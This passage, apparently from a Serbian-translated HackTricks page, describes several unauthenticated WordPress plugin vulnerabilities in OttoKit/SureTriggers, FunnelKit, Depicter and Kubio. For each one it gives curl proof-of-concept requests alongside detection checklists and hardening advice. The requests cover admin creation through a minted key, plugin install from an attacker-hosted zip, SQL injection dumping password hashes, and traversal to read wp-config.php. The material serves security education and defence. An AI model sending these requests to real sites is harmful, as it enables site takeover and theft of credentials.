  • Validirajte i verifikujte OAuth/OIDC odgovore na serverskoj strani; odbacite nedostajuće/nevažeće providere (bez fallback-a na POST id).
  • Razmotrite privremeno onemogućavanje social login-a ili virtuelno zakrpljivanje na edge-u (blokirajte ranjivu akciju) dok se ne popravi.

Patched behaviour (Jobmonster 4.8.0)

  • Uklonjen nesiguran fallback iz $_POST['id']; $user_email mora poticati iz verifikovanih provider grana u switch($_POST['using']).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – kreirajte connection key i upotrebite ga

bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Zašto je iskoristivo

  • Osetljiva REST ruta zaštićena samo slabim dokazom identiteta (korisničko ime/email) ili nedostaje permission_callback
  • Nema sprovođenja capability; izdati ključ se prihvata kao univerzalno zaobilaženje

Kontrolna lista za detekciju

  • Grep-uj kod plugina za register_rest_route(..., [ 'permission_callback' => '__return_true' ])
  • Bilo koja ruta koja izdaje tokene/ključeve zasnovane na identitetu poslatom u zahtevu (korisničko ime/email) bez vezivanja za autentifikovanog korisnika ili capability
  • Traži naredne rute koje prihvataju izdati token/ključ bez provere capability na serverskoj strani

Ojačavanje

  • Za svaku privilegovanu REST rutu: zahtevati permission_callback koji poziva current_user_can() za potrebnu capability
  • Ne izdavati dugovečne ključeve na osnovu identiteta poslatog od klijenta; ako je potrebno, izdavati kratkotrajne tokene vezane za korisnika nakon autentifikacije i ponovo proveravati capability pri upotrebi
  • Validirajte korisnički kontekst pozivaoca (wp_set_current_user nije sam po sebi dovoljan) i odbacite zahteve gde !is_user_logged_in() || !current_user_can()

Nonce gate misuse → neautentifikovana proizvoljna instalacija plugina (FunnelKit Automations ≤ 3.5.3)

Nonces sprečavaju CSRF, ne autorizaciju. Ako kod tretira uspešan nonce kao zeleno svetlo i onda preskače provere capability za privilegovane operacije (npr. install/activate plugins), neautentifikovani napadači mogu zadovoljiti slabi nonce uslov i postići RCE instaliranjem backdoored or vulnerable plugin.

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
  • Impact: full compromise via arbitrary plugin install/activation

PoC (shape depends on plugin; illustrative only)

bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

  • REST/AJAX handler-i koji menjaju plugins/themes, a koriste samo wp_verify_nonce()/check_admin_referer() i bez provere privilegija
  • Bilo koji code path koji postavlja $skip_caps = true nakon validacije nonce-a

Hardening

  • Uvek tretirajte nonces samo kao CSRF tokene; primenjujte provere privilegija bez obzira na stanje nonce-a
  • Zahtevajte current_user_can('install_plugins') i current_user_can('activate_plugins') pre nego što se dođe do installer koda
  • Odbacite neautentifikovan pristup; izbegavajte izlaganje nopriv AJAX actions za privilegovane tokove

Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)

Više depicter-* actions je koristilo parametar s (search) i konkateniralo ga u SQL upite bez parameterizacije.

  • Parameter: s (search)
  • Flaw: direktna string concatenation u WHERE/LIKE klauzulama; nema prepared statements/sanitization
  • Impact: database exfiltration (users, hashes), lateral movement

PoC

bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL
  • Review custom queries passed to $wpdb->get_results()/query() concatenating s

Hardening

  • Always use $wpdb->prepare() or wpdb placeholders; reject unexpected metacharacters server-side
  • Add a strict allowlist for s and normalize to expected charset/length

Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)

Accepting attacker-controlled paths in a template parameter without normalization/containment allows reading arbitrary local files, and sometimes code execution if includable PHP/log files are pulled into runtime.

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: no normalization/allowlisting; traversal permitted
  • Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)

PoC – čitanje wp-config.php

bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Kontrolna lista za detekciju

  • Bilo koji handler koji spaja request paths u include()/require()/read sinks bez realpath() containment
  • Tražite traversal obrasce (../) koji dopiru izvan predviđenog direktorijuma sa template-ima

Ojačavanje

  • Primorajte korišćenje dozvoljenih (allowlisted) template-a; rešavajte sa realpath() i zahtevajte str_starts_with(realpath(file), realpath(allowed_base))
  • Normalizujte ulaz; odbacite traversal sekvence i apsolutne putanje; koristite sanitize_file_name() samo za imena fajlova (ne za pune putanje)

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks